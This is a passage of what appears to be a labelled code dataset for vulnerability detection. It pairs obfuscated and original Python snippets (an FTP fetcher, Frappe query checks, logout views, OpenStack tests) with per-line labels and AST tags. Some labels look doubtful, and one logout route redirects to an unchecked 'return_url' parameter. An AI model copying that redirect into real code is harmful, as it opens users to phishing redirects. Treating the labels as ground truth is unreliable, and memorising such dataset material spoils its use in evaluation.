"self.user_settings_fields = copy.deepcopy(self.fields)\n",
"if user_settings:\n",
"self.user_settings = json.loads(user_settings)\n",
"if query:\n",
"result = self.run_custom_query(query)\n",
"result = self.build_and_run()\n",
"if with_comment_count and not as_list and self.doctype:\n",
"self.add_comment_count(result)\n",
"if save_user_settings:\n",
"self.save_user_settings_fields = save_user_settings_fields\n",
"return result\n",
"self.update_user_settings()\n"
] | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
"ImportFrom'",
"ImportFrom'",
"Expr'",
"Import'",
"Import'",
"Import'",
"Import'",
"ImportFrom'",
"ImportFrom'",
"ImportFrom'",
"ImportFrom'",
"ImportFrom'",
"FunctionDef'",
"Assign'",
"Assign'",
"Assign'",
"Assign'",
"Assign'",
"Assign'",
"Assign'",
"Assign'",
"Condition",
"Condition",
"Assign'",
"Condition",
"Assign'",
"Condition",
"Condition",
"Assign'",
"Assign'",
"Assign'",
"Condition",
"Assign'",
"Condition",
"Assign'",
"Condition",
"Assign'",
"Assign'",
"Assign'",
"Assign'",
"Assign'",
"Assign'",
"Assign'",
"Assign'",
"Assign'",
"Assign'",
"Assign'",
"Assign'",
"Assign'",
"Assign'",
"Assign'",
"Assign'",
"Assign'",
"Assign'",
"Condition",
"Assign'",
"Condition",
"Assign'",
"Assign'",
"Condition",
"Expr'",
"Condition",
"Assign'",
"Return'",
"Expr'"
] |
[
"def FUNC_2(self):...\n",
"return \"\"\"Task: %s (ID %d)\nFile: %s\n\"\"\" % (self.task[1], self.task[0], repr\n (self.filenames)) + GenericRequest.specific_info(self)\n"
] | [
"def specific_info(self):...\n",
"return \"\"\"Task: %s (ID %d)\nFile: %s\n\"\"\" % (self.task[1], self.task[0], repr\n (self.filenames)) + GenericRequest.specific_info(self)\n"
] | [
0,
0
] | [
"FunctionDef'",
"Return'"
] |
[
"def FUNC_34(self, VAR_64):...\n",
"return CLASS_1(VAR_64)\n"
] | [
"def run(self, func):...\n",
"return RuleInfo(func)\n"
] | [
0,
0
] | [
"FunctionDef'",
"Return'"
] |
[
"def FUNC_20(self, VAR_9=True):...\n",
"\"\"\"docstring\"\"\"\n",
"self._kill_process_type(VAR_13.PROCESS_TYPE_MONITOR, VAR_9=check_alive)\n"
] | [
"def kill_monitor(self, check_alive=True):...\n",
"\"\"\"docstring\"\"\"\n",
"self._kill_process_type(ray_constants.PROCESS_TYPE_MONITOR, check_alive=\n check_alive)\n"
] | [
0,
0,
0
] | [
"FunctionDef'",
"Docstring",
"Expr'"
] |
[
"def FUNC_10(self, VAR_9, VAR_10=None, VAR_11=None, VAR_15=False):...\n",
"get_and_check_project(VAR_9, VAR_11, ('change_project',))\n",
"VAR_28 = self.queryset.get(VAR_10=pk, VAR_1=project_pk)\n",
"VAR_26 = CLASS_1(VAR_28, data=request.data, VAR_15=partial)\n",
"VAR_26.is_valid(raise_exception=True)\n",
"VAR_26.save()\n",
"scheduler.process_pending_tasks(background=True)\n",
"return Response(VAR_26.data)\n"
] | [
"def update(self, request, pk=None, project_pk=None, partial=False):...\n",
"get_and_check_project(request, project_pk, ('change_project',))\n",
"task = self.queryset.get(pk=pk, project=project_pk)\n",
"serializer = TaskSerializer(task, data=request.data, partial=partial)\n",
"serializer.is_valid(raise_exception=True)\n",
"serializer.save()\n",
"scheduler.process_pending_tasks(background=True)\n",
"return Response(serializer.data)\n"
] | [
0,
0,
0,
0,
0,
0,
0,
0
] | [
"FunctionDef'",
"Expr'",
"Assign'",
"Assign'",
"Expr'",
"Expr'",
"Expr'",
"Return'"
] |
[
"\"\"\"string\"\"\"\n",
"import urllib.request\n",
"from ftplib import FTP, FTP_TLS, error_perm\n",
"import time\n",
"import csv\n",
"import logging\n",
"import os.path\n",
"import pathlib\n",
"import allel\n",
"import sys\n",
"import functools\n",
"import numpy as np\n",
"import zarr\n",
"import numcodecs\n",
"from numcodecs import Blosc, LZ4, LZMA\n",
"from benchmark import config\n",
"import gzip\n",
"import shutil\n",
"def FUNC_0(VAR_0):...\n",
"\"\"\"docstring\"\"\"\n",
"VAR_0 = str(VAR_0)\n",
"pathlib.Path(VAR_0).mkdir(parents=True, exist_ok=True)\n",
"def FUNC_1(VAR_0):...\n",
"\"\"\"docstring\"\"\"\n",
"if os.path.exists(VAR_0):\n",
"shutil.rmtree(VAR_0, ignore_errors=True)\n",
"def FUNC_2(VAR_1, VAR_2):...\n",
"\"\"\"docstring\"\"\"\n",
"if VAR_1.enabled:\n",
"FUNC_0(VAR_2)\n",
"def FUNC_3(VAR_3, VAR_2, VAR_4, VAR_5=None):...\n",
"if VAR_1.use_tls:\n",
"\"\"\"docstring\"\"\"\n",
"VAR_3 = FTP_TLS(VAR_1.server)\n",
"VAR_3 = FTP(VAR_1.server)\n",
"if VAR_5 is not None and len(VAR_5) > 0:\n",
"VAR_3.login(VAR_1.username, VAR_1.password)\n",
"VAR_3.login(VAR_1.username, VAR_1.password)\n",
"VAR_27 = '/'.join(VAR_5)\n",
"VAR_5 = []\n",
"VAR_3.prot_p()\n",
"if not VAR_1.files:\n",
"VAR_28 = '/' + VAR_4 + '/' + VAR_27 + '/'\n",
"VAR_27 = ''\n",
"FUNC_3(VAR_3=ftp, VAR_2=local_directory, VAR_4=ftp_config.directory)\n",
"VAR_3.cwd(VAR_1.directory)\n",
"VAR_29 = VAR_2 + '/' + VAR_27\n",
"print('[Setup][FTP] Error: Could not change to: {}'.format(VAR_28))\n",
"VAR_3.cwd(VAR_28)\n",
"VAR_28 = '/' + VAR_4 + '/'\n",
"VAR_3.close()\n",
"VAR_19 = 1\n",
"os.mkdir(VAR_29)\n",
"VAR_18 = VAR_3.nlst()\n",
"VAR_20 = len(VAR_1.files)\n",
"print('[Setup][FTP] Created local folder: {}'.format(VAR_29))\n",
"VAR_19 = 1\n",
"for remote_filename in VAR_1.files:\n",
"VAR_20 = len(VAR_18)\n",
"VAR_46 = remote_filename\n",
"for file in VAR_18:\n",
"VAR_47 = os.path.join(VAR_2, VAR_46)\n",
"VAR_30 = VAR_2 + '/' + VAR_27 + '/' + file\n",
"def FUNC_4(VAR_6, VAR_7):...\n",
"if not os.path.exists(VAR_47):\n",
"if not os.path.isfile(VAR_30):\n",
"urllib.request.urlretrieve(VAR_6, VAR_7)\n",
"print('[Setup][FTP] ({}/{}) File already exists. Skipping: {}'.format(\n VAR_19, VAR_20, VAR_47))\n",
"VAR_3.retrbinary('RETR %s' % remote_filename, VAR_7.write)\n",
"print('[Setup][FTP] ({}/{}) Error downloading file. Skipping: {}'.format(\n VAR_19, VAR_20, VAR_47))\n",
"VAR_19 = VAR_19 + 1\n",
"print('[Setup][FTP] ({}/{}) File already exists. Skipping: {}'.format(\n VAR_19, VAR_20, VAR_30))\n",
"VAR_3.cwd(VAR_28 + file)\n",
"VAR_49 = VAR_3.nlst()\n",
"VAR_19 = VAR_19 + 1\n",
"def FUNC_5(VAR_8, VAR_7):...\n",
"print('[Setup][FTP] ({}/{}) File downloaded: {}'.format(VAR_19, VAR_20, VAR_47)\n )\n",
"VAR_7.close()\n",
"print('[Setup][FTP] Switching to directory: {}'.format(VAR_27 + '/' + file))\n",
"if not os.path.isfile(VAR_30):\n",
"shutil.copyfileobj(file_in, file_out)\n",
"os.remove(VAR_47)\n",
"VAR_48 = VAR_5.copy()\n",
"VAR_3.retrbinary('RETR {}'.format(file), VAR_7.write)\n",
"def FUNC_6(VAR_9, VAR_10, VAR_11):...\n",
"VAR_48.append(file)\n",
"print('[Setup][FTP] ({}/{}) File downloaded: {}'.format(VAR_19, VAR_20, VAR_30)\n )\n",
"\"\"\"docstring\"\"\"\n",
"FUNC_3(VAR_3=ftp, VAR_2=local_directory, VAR_4=remote_directory, VAR_5=\n new_remote_subdirs_list)\n",
"VAR_9 = str(VAR_9)\n",
"VAR_3.cwd(VAR_28)\n",
"VAR_10 = str(VAR_10)\n",
"VAR_11 = str(VAR_11)\n",
"FUNC_0(VAR_9)\n",
"FUNC_0(VAR_10)\n",
"FUNC_0(VAR_11)\n",
"VAR_21 = pathlib.Path(VAR_9).glob('**/*.gz')\n",
"for VAR_0 in VAR_21:\n",
"VAR_31 = str(VAR_0)\n",
"VAR_22 = pathlib.Path(VAR_10).glob('**/*.vcf')\n",
"VAR_32 = FUNC_8(VAR_31)\n",
"for VAR_0 in VAR_22:\n",
"VAR_32 = VAR_32[0:len(VAR_32) - 3]\n",
"VAR_34 = str(VAR_0)\n",
"FUNC_1(VAR_10)\n",
"VAR_33 = str(pathlib.Path(VAR_10, VAR_32))\n",
"VAR_35 = FUNC_8(VAR_34)\n",
"VAR_23 = pathlib.Path(VAR_9).glob('**/*.vcf')\n",
"print('[Setup][Data] Decompressing file: {}'.format(VAR_31))\n",
"VAR_36 = str(pathlib.Path(VAR_11, VAR_35))\n",
"for VAR_0 in VAR_23:\n",
"print(' - Output: {}'.format(VAR_33))\n",
"shutil.move(VAR_34, VAR_36)\n",
"VAR_37 = str(VAR_0)\n",
"def FUNC_7(VAR_0):...\n",
"FUNC_5(VAR_31, VAR_33)\n",
"VAR_35 = FUNC_8(VAR_37)\n",
"VAR_24, VAR_25 = os.path.split(VAR_0)\n",
"VAR_36 = str(pathlib.Path(VAR_11, VAR_35))\n",
"return VAR_24\n",
"shutil.copy(VAR_37, VAR_36)\n"
] | [
"\"\"\" Main module for the benchmark. It reads the command line arguments, reads the benchmark configuration, \ndetermines the runtime mode (dynamic vs. static); if dynamic, gets the benchmark data from the server,\nruns the benchmarks, and records the timer results. \"\"\"\n",
"import urllib.request\n",
"from ftplib import FTP, FTP_TLS, error_perm\n",
"import time\n",
"import csv\n",
"import logging\n",
"import os.path\n",
"import pathlib\n",
"import allel\n",
"import sys\n",
"import functools\n",
"import numpy as np\n",
"import zarr\n",
"import numcodecs\n",
"from numcodecs import Blosc, LZ4, LZMA\n",
"from benchmark import config\n",
"import gzip\n",
"import shutil\n",
"def create_directory_tree(path):...\n",
"\"\"\"docstring\"\"\"\n",
"path = str(path)\n",
"pathlib.Path(path).mkdir(parents=True, exist_ok=True)\n",
"def remove_directory_tree(path):...\n",
"\"\"\"docstring\"\"\"\n",
"if os.path.exists(path):\n",
"shutil.rmtree(path, ignore_errors=True)\n",
"def fetch_data_via_ftp(ftp_config, local_directory):...\n",
"\"\"\"docstring\"\"\"\n",
"if ftp_config.enabled:\n",
"create_directory_tree(local_directory)\n",
"def fetch_data_via_ftp_recursive(ftp, local_directory, remote_directory,...\n",
"if ftp_config.use_tls:\n",
"\"\"\"docstring\"\"\"\n",
"ftp = FTP_TLS(ftp_config.server)\n",
"ftp = FTP(ftp_config.server)\n",
"if remote_subdirs_list is not None and len(remote_subdirs_list) > 0:\n",
"ftp.login(ftp_config.username, ftp_config.password)\n",
"ftp.login(ftp_config.username, ftp_config.password)\n",
"remote_path_relative = '/'.join(remote_subdirs_list)\n",
"remote_subdirs_list = []\n",
"ftp.prot_p()\n",
"if not ftp_config.files:\n",
"remote_path_absolute = ('/' + remote_directory + '/' + remote_path_relative +\n '/')\n",
"remote_path_relative = ''\n",
"fetch_data_via_ftp_recursive(ftp=ftp, local_directory=local_directory,\n remote_directory=ftp_config.directory)\n",
"ftp.cwd(ftp_config.directory)\n",
"local_path = local_directory + '/' + remote_path_relative\n",
"print('[Setup][FTP] Error: Could not change to: {}'.format(\n remote_path_absolute))\n",
"ftp.cwd(remote_path_absolute)\n",
"remote_path_absolute = '/' + remote_directory + '/'\n",
"ftp.close()\n",
"file_counter = 1\n",
"os.mkdir(local_path)\n",
"file_list = ftp.nlst()\n",
"file_list_total = len(ftp_config.files)\n",
"print('[Setup][FTP] Created local folder: {}'.format(local_path))\n",
"file_counter = 1\n",
"for remote_filename in ftp_config.files:\n",
"file_list_total = len(file_list)\n",
"local_filename = remote_filename\n",
"for file in file_list:\n",
"filepath = os.path.join(local_directory, local_filename)\n",
"file_path_local = local_directory + '/' + remote_path_relative + '/' + file\n",
"def fetch_file_from_url(url, local_file):...\n",
"if not os.path.exists(filepath):\n",
"if not os.path.isfile(file_path_local):\n",
"urllib.request.urlretrieve(url, local_file)\n",
"print('[Setup][FTP] ({}/{}) File already exists. Skipping: {}'.format(\n file_counter, file_list_total, filepath))\n",
"ftp.retrbinary('RETR %s' % remote_filename, local_file.write)\n",
"print('[Setup][FTP] ({}/{}) Error downloading file. Skipping: {}'.format(\n file_counter, file_list_total, filepath))\n",
"file_counter = file_counter + 1\n",
"print('[Setup][FTP] ({}/{}) File already exists. Skipping: {}'.format(\n file_counter, file_list_total, file_path_local))\n",
"ftp.cwd(remote_path_absolute + file)\n",
"temp = ftp.nlst()\n",
"file_counter = file_counter + 1\n",
"def decompress_gzip(local_file_gz, local_file):...\n",
"print('[Setup][FTP] ({}/{}) File downloaded: {}'.format(file_counter,\n file_list_total, filepath))\n",
"local_file.close()\n",
"print('[Setup][FTP] Switching to directory: {}'.format(remote_path_relative +\n '/' + file))\n",
"if not os.path.isfile(file_path_local):\n",
"shutil.copyfileobj(file_in, file_out)\n",
"os.remove(filepath)\n",
"new_remote_subdirs_list = remote_subdirs_list.copy()\n",
"ftp.retrbinary('RETR {}'.format(file), local_file.write)\n",
"def process_data_files(input_dir, temp_dir, output_dir):...\n",
"new_remote_subdirs_list.append(file)\n",
"print('[Setup][FTP] ({}/{}) File downloaded: {}'.format(file_counter,\n file_list_total, file_path_local))\n",
"\"\"\"docstring\"\"\"\n",
"fetch_data_via_ftp_recursive(ftp=ftp, local_directory=local_directory,\n remote_directory=remote_directory, remote_subdirs_list=\n new_remote_subdirs_list)\n",
"input_dir = str(input_dir)\n",
"ftp.cwd(remote_path_absolute)\n",
"temp_dir = str(temp_dir)\n",
"output_dir = str(output_dir)\n",
"create_directory_tree(input_dir)\n",
"create_directory_tree(temp_dir)\n",
"create_directory_tree(output_dir)\n",
"pathlist_gz = pathlib.Path(input_dir).glob('**/*.gz')\n",
"for path in pathlist_gz:\n",
"path_str = str(path)\n",
"pathlist_vcf_temp = pathlib.Path(temp_dir).glob('**/*.vcf')\n",
"file_output_str = path_leaf(path_str)\n",
"for path in pathlist_vcf_temp:\n",
"file_output_str = file_output_str[0:len(file_output_str) - 3]\n",
"path_temp_str = str(path)\n",
"remove_directory_tree(temp_dir)\n",
"path_temp_output = str(pathlib.Path(temp_dir, file_output_str))\n",
"filename_str = path_leaf(path_temp_str)\n",
"pathlist_vcf_input = pathlib.Path(input_dir).glob('**/*.vcf')\n",
"print('[Setup][Data] Decompressing file: {}'.format(path_str))\n",
"path_vcf_str = str(pathlib.Path(output_dir, filename_str))\n",
"for path in pathlist_vcf_input:\n",
"print(' - Output: {}'.format(path_temp_output))\n",
"shutil.move(path_temp_str, path_vcf_str)\n",
"path_input_str = str(path)\n",
"def path_head(path):...\n",
"decompress_gzip(path_str, path_temp_output)\n",
"filename_str = path_leaf(path_input_str)\n",
"head, tail = os.path.split(path)\n",
"path_vcf_str = str(pathlib.Path(output_dir, filename_str))\n",
"return head\n",
"shutil.copy(path_input_str, path_vcf_str)\n"
] | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
7,
7,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
"Expr'",
"Import'",
"ImportFrom'",
"Import'",
"Import'",
"Import'",
"Import'",
"Import'",
"Import'",
"Import'",
"Import'",
"Import'",
"Import'",
"Import'",
"ImportFrom'",
"ImportFrom'",
"Import'",
"Import'",
"FunctionDef'",
"Docstring",
"Assign'",
"Expr'",
"FunctionDef'",
"Docstring",
"Condition",
"Expr'",
"FunctionDef'",
"Docstring",
"Condition",
"Expr'",
"FunctionDef'",
"Condition",
"Docstring",
"Assign'",
"Assign'",
"Condition",
"Expr'",
"Expr'",
"Assign'",
"Assign'",
"Expr'",
"Condition",
"Assign'",
"Assign'",
"Expr'",
"Expr'",
"Assign'",
"Expr'",
"Expr'",
"Assign'",
"Expr'",
"Assign'",
"Expr'",
"Assign'",
"Assign'",
"Expr'",
"Assign'",
"For",
"Assign'",
"Assign'",
"For",
"Assign'",
"Assign'",
"FunctionDef'",
"Condition",
"Condition",
"Expr'",
"Expr'",
"Expr'",
"Expr'",
"Assign'",
"Expr'",
"Expr'",
"Assign'",
"Assign'",
"FunctionDef'",
"Expr'",
"Expr'",
"Expr'",
"Condition",
"Expr'",
"Expr'",
"Assign'",
"Expr'",
"FunctionDef'",
"Expr'",
"Expr'",
"Docstring",
"Expr'",
"Assign'",
"Expr'",
"Assign'",
"Assign'",
"Expr'",
"Expr'",
"Expr'",
"Assign'",
"For",
"Assign'",
"Assign'",
"Assign'",
"For",
"Assign'",
"Assign'",
"Expr'",
"Assign'",
"Assign'",
"Assign'",
"Expr'",
"Assign'",
"For",
"Expr'",
"Expr'",
"Assign'",
"FunctionDef'",
"Expr'",
"Assign'",
"Assign'",
"Assign'",
"Return'",
"Expr'"
] |
[
"def __getattr__(self, VAR_52):...\n",
"VAR_58 = getattr(self.orig_obj, VAR_52)\n",
"if not callable(VAR_58):\n",
"return VAR_58\n",
"VAR_60 = self._wrapper_cache.get(VAR_52)\n",
"if VAR_60 is None:\n",
"@functools.wraps(VAR_58)...\n",
"return VAR_60\n",
"return VAR_58(*VAR_61, **kwargs)\n"
] | [
"def __getattr__(self, attr):...\n",
"orig_attr = getattr(self.orig_obj, attr)\n",
"if not callable(orig_attr):\n",
"return orig_attr\n",
"wrapper = self._wrapper_cache.get(attr)\n",
"if wrapper is None:\n",
"@functools.wraps(orig_attr)...\n",
"return wrapper\n",
"return orig_attr(*args, **kwargs)\n"
] | [
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
"FunctionDef'",
"Assign'",
"Condition",
"Return'",
"Assign'",
"Condition",
"Condition",
"Return'",
"Return'"
] |
[
"def FUNC_6(self, VAR_38):...\n",
"if not VAR_38:\n",
"VAR_101.errors.add(errors.NO_TITLE)\n",
"if len(VAR_38) > 100:\n",
"VAR_101.errors.add(errors.TITLE_TOO_LONG)\n",
"return VAR_38\n"
] | [
"def run(self, title):...\n",
"if not title:\n",
"c.errors.add(errors.NO_TITLE)\n",
"if len(title) > 100:\n",
"c.errors.add(errors.TITLE_TOO_LONG)\n",
"return title\n"
] | [
0,
0,
0,
0,
0,
0
] | [
"FunctionDef'",
"Condition",
"Expr'",
"Condition",
"Expr'",
"Return'"
] |
[
"def FUNC_28(self, *VAR_76, **VAR_52):...\n",
"def FUNC_39(VAR_101):...\n",
"VAR_101.resources = VAR_76, VAR_52\n",
"return VAR_101\n"
] | [
"def resources(self, *args, **resources):...\n",
"def decorate(ruleinfo):...\n",
"ruleinfo.resources = args, resources\n",
"return ruleinfo\n"
] | [
0,
0,
0,
0
] | [
"FunctionDef'",
"FunctionDef'",
"Assign'",
"Return'"
] |
[
"from setuptools import setup, find_packages\n",
"import sys\n",
"def FUNC_0(VAR_0):...\n",
"return open(VAR_0).read().splitlines()\n"
] | [
"from setuptools import setup, find_packages\n",
"import sys\n",
"def _requires_from_file(filename):...\n",
"return open(filename).read().splitlines()\n"
] | [
0,
0,
0,
0
] | [
"ImportFrom'",
"Import'",
"FunctionDef'",
"Return'"
] |
[
"def FUNC_21(self, VAR_14):...\n",
""
] | [
"def is_relation_one_to_many(self, col_name):...\n",
""
] | [
0,
0
] | [
"FunctionDef'",
"Condition"
] |
[
"def FUNC_29(self, VAR_15):...\n",
""
] | [
"def delete(self, item):...\n",
""
] | [
0,
0
] | [
"FunctionDef'",
"Condition"
] |
[
"@classmethod...\n",
"\"\"\"docstring\"\"\"\n",
"return VAR_14.global_instance()._locator().locate(VAR_6=minimum_version,\n VAR_7=maximum_version, VAR_8=jdk)\n"
] | [
"@classmethod...\n",
"\"\"\"docstring\"\"\"\n",
"return cls.global_instance()._locator().locate(minimum_version=\n minimum_version, maximum_version=maximum_version, jdk=jdk)\n"
] | [
0,
0,
0
] | [
"Condition",
"Docstring",
"Return'"
] |
[
"@VAR_1.route('/logout')...\n",
"VAR_18.clear()\n",
"if 'return_url' in request.args:\n",
"return redirect(request.args['return_url'])\n",
"return redirect('/')\n"
] | [
"@app.route('/logout')...\n",
"session.clear()\n",
"if 'return_url' in request.args:\n",
"return redirect(request.args['return_url'])\n",
"return redirect('/')\n"
] | [
0,
0,
0,
0,
0
] | [
"Condition",
"Expr'",
"Condition",
"Return'",
"Return'"
] |
[
"def FUNC_22(self, VAR_38):...\n",
"\"\"\"docstring\"\"\"\n",
"if not VAR_38:\n",
"return\n",
"VAR_58 = VAR_38.lower()\n",
"if 'select' in VAR_58 and ' from ' in VAR_58:\n",
"frappe.throw(_('Cannot use sub-query in order by'))\n",
"for VAR_50 in VAR_38.split(','):\n",
"if '.' in VAR_50 and VAR_50.strip().startswith('`tab'):\n",
"VAR_72 = VAR_50.strip().split('.')[0]\n",
"if VAR_72 not in self.tables:\n",
"if VAR_72.startswith('`'):\n",
"VAR_72 = VAR_72[4:-1]\n",
"frappe.throw(_('Please select atleast 1 column from {0} to sort/group').\n format(VAR_72))\n"
] | [
"def validate_order_by_and_group_by(self, parameters):...\n",
"\"\"\"docstring\"\"\"\n",
"if not parameters:\n",
"return\n",
"_lower = parameters.lower()\n",
"if 'select' in _lower and ' from ' in _lower:\n",
"frappe.throw(_('Cannot use sub-query in order by'))\n",
"for field in parameters.split(','):\n",
"if '.' in field and field.strip().startswith('`tab'):\n",
"tbl = field.strip().split('.')[0]\n",
"if tbl not in self.tables:\n",
"if tbl.startswith('`'):\n",
"tbl = tbl[4:-1]\n",
"frappe.throw(_('Please select atleast 1 column from {0} to sort/group').\n format(tbl))\n"
] | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
"FunctionDef'",
"Docstring",
"Condition",
"Return'",
"Assign'",
"Condition",
"Expr'",
"For",
"Condition",
"Assign'",
"Condition",
"Condition",
"Assign'",
"Expr'"
] |
[
"def FUNC_6(self, VAR_1):...\n",
"\"\"\"docstring\"\"\"\n",
"VAR_12 = self.redirect_url\n",
"if is_authenticated(VAR_1.user):\n",
"VAR_13 = import_from_settings('OIDC_OP_LOGOUT_URL_METHOD', '')\n",
"return HttpResponseRedirect(VAR_12)\n",
"if VAR_13:\n",
"VAR_12 = import_string(VAR_13)()\n",
"auth.logout(VAR_1)\n"
] | [
"def post(self, request):...\n",
"\"\"\"docstring\"\"\"\n",
"logout_url = self.redirect_url\n",
"if is_authenticated(request.user):\n",
"logout_from_op = import_from_settings('OIDC_OP_LOGOUT_URL_METHOD', '')\n",
"return HttpResponseRedirect(logout_url)\n",
"if logout_from_op:\n",
"logout_url = import_string(logout_from_op)()\n",
"auth.logout(request)\n"
] | [
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
"FunctionDef'",
"Docstring",
"Assign'",
"Condition",
"Assign'",
"Return'",
"Condition",
"Assign'",
"Expr'"
] |
[
"def FUNC_17(VAR_11, VAR_1, VAR_3):...\n",
""
] | [
"def handleBlockOps(item, stack, symbols):...\n",
""
] | [
0,
0
] | [
"FunctionDef'",
"Condition"
] |
[
"def FUNC_23(self, VAR_22):...\n",
"\"\"\"docstring\"\"\"\n",
"VAR_18 = VAR_22.target\n",
"if isinstance(VAR_18, ScalacPlugin):\n",
"self._write_scalac_plugin_info(VAR_22.classes_dir, VAR_18)\n",
"if isinstance(VAR_18, JavacPlugin):\n",
"self._write_javac_plugin_info(VAR_22.classes_dir, VAR_18)\n",
"if isinstance(VAR_18, AnnotationProcessor) and VAR_18.processors:\n",
"VAR_23 = os.path.join(VAR_22.classes_dir, VAR_2)\n",
"self._write_processor_info(VAR_23, VAR_18.processors)\n"
] | [
"def write_extra_resources(self, compile_context):...\n",
"\"\"\"docstring\"\"\"\n",
"target = compile_context.target\n",
"if isinstance(target, ScalacPlugin):\n",
"self._write_scalac_plugin_info(compile_context.classes_dir, target)\n",
"if isinstance(target, JavacPlugin):\n",
"self._write_javac_plugin_info(compile_context.classes_dir, target)\n",
"if isinstance(target, AnnotationProcessor) and target.processors:\n",
"processor_info_file = os.path.join(compile_context.classes_dir,\n _PROCESSOR_INFO_FILE)\n",
"self._write_processor_info(processor_info_file, target.processors)\n"
] | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
"FunctionDef'",
"Docstring",
"Assign'",
"Condition",
"Expr'",
"Condition",
"Expr'",
"Condition",
"Assign'",
"Expr'"
] |
[
"def FUNC_27(self):...\n",
"VAR_16 = vimsupport.CurrentFiletypes()\n",
"VAR_17 = self._user_options['filetype_specific_completion_to_disable']\n",
"return not all([(x in VAR_17) for x in VAR_16])\n"
] | [
"def CurrentFiletypeCompletionEnabled(self):...\n",
"filetypes = vimsupport.CurrentFiletypes()\n",
"filetype_to_disable = self._user_options[\n 'filetype_specific_completion_to_disable']\n",
"return not all([(x in filetype_to_disable) for x in filetypes])\n"
] | [
0,
0,
0,
0
] | [
"FunctionDef'",
"Assign'",
"Assign'",
"Return'"
] |
[
"def FUNC_6(self, VAR_6, VAR_7):...\n",
"self.vars[VAR_6] = VAR_7\n"
] | [
"def set_variable(self, key, value):...\n",
"self.vars[key] = value\n"
] | [
0,
0
] | [
"FunctionDef'",
"Assign'"
] |
[
"def FUNC_27(self):...\n",
"\"\"\"docstring\"\"\"\n",
"if not self.exists and FUNC_0(self.file):\n"
] | [
"def check_broken_symlink(self):...\n",
"\"\"\"docstring\"\"\"\n",
"if not self.exists and lstat(self.file):\n"
] | [
0,
0,
7
] | [
"FunctionDef'",
"Docstring",
"Condition"
] |
[
"def FUNC_8(self):...\n",
"\"\"\"docstring\"\"\"\n",
"self.check_image_exists()\n",
"if not self.security_groups:\n",
"self.security_groups[self.tenant_id] = self.verify(25, self.\n _create_security_group, 1, 'Security group can not be created.',\n 'security group creation', self.compute_client)\n",
"VAR_5 = rand_name('ost1_test-server-smoke-')\n",
"VAR_6 = [self.security_groups[self.tenant_id].name]\n",
"VAR_7 = self.verify(250, self._create_server, 2,\n 'Server can not be created.', 'server creation', self.compute_client,\n VAR_5, VAR_6)\n",
"for addr in VAR_7.addresses:\n",
"VAR_0.debug(traceback.format_exc())\n",
"self.verify(600, self._check_connectivity_from_vm, 3,\n 'Connectivity to 8.8.8.8 from the VM doesn`t function properly.',\n 'public connectivity checking from VM', VAR_12, 30, (9, 30), VAR_11)\n",
"if addr.startswith('novanetwork'):\n",
"if not self.config.compute.use_vcenter:\n",
"self.fail(\n 'Step 3 failed: cannot get instance details. Please refer to OpenStack logs for more details.'\n )\n",
"self.verify(30, self._delete_server, 4, 'Server can not be deleted. ',\n 'server deletion', VAR_7)\n",
"VAR_12 = VAR_7.addresses[addr][0]['addr']\n",
"VAR_11 = getattr(VAR_7, 'OS-EXT-SRV-ATTR:host')\n",
"VAR_11 = None\n"
] | [
"def test_006_check_internet_connectivity_instance_without_floatingIP(self):...\n",
"\"\"\"docstring\"\"\"\n",
"self.check_image_exists()\n",
"if not self.security_groups:\n",
"self.security_groups[self.tenant_id] = self.verify(25, self.\n _create_security_group, 1, 'Security group can not be created.',\n 'security group creation', self.compute_client)\n",
"name = rand_name('ost1_test-server-smoke-')\n",
"security_groups = [self.security_groups[self.tenant_id].name]\n",
"server = self.verify(250, self._create_server, 2,\n 'Server can not be created.', 'server creation', self.compute_client,\n name, security_groups)\n",
"for addr in server.addresses:\n",
"LOG.debug(traceback.format_exc())\n",
"self.verify(600, self._check_connectivity_from_vm, 3,\n 'Connectivity to 8.8.8.8 from the VM doesn`t function properly.',\n 'public connectivity checking from VM', instance_ip, 30, (9, 30), compute)\n",
"if addr.startswith('novanetwork'):\n",
"if not self.config.compute.use_vcenter:\n",
"self.fail(\n 'Step 3 failed: cannot get instance details. Please refer to OpenStack logs for more details.'\n )\n",
"self.verify(30, self._delete_server, 4, 'Server can not be deleted. ',\n 'server deletion', server)\n",
"instance_ip = server.addresses[addr][0]['addr']\n",
"compute = getattr(server, 'OS-EXT-SRV-ATTR:host')\n",
"compute = None\n"
] | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
"FunctionDef'",
"Docstring",
"Expr'",
"Condition",
"Assign'",
"Assign'",
"Assign'",
"Assign'",
"For",
"Expr'",
"Expr'",
"Condition",
"Condition",
"Expr'",
"Expr'",
"Assign'",
"Assign'",
"Assign'"
] |
[
"from osv import osv\n",
"from tools.translate import _\n",
"VAR_0 = 'pos.close.statement'\n",
"VAR_1 = 'Close Statements'\n",
"def FUNC_0(self, VAR_2, VAR_3, VAR_4, VAR_5):...\n",
"\"\"\"docstring\"\"\"\n",
"VAR_6 = self.pool.get('res.users').browse(VAR_2, VAR_3, VAR_3).company_id.id\n",
"VAR_7 = []\n",
"VAR_8 = self.pool.get('ir.model.data')\n",
"VAR_9 = self.pool.get('account.bank.statement')\n",
"VAR_10 = self.pool.get('account.journal')\n",
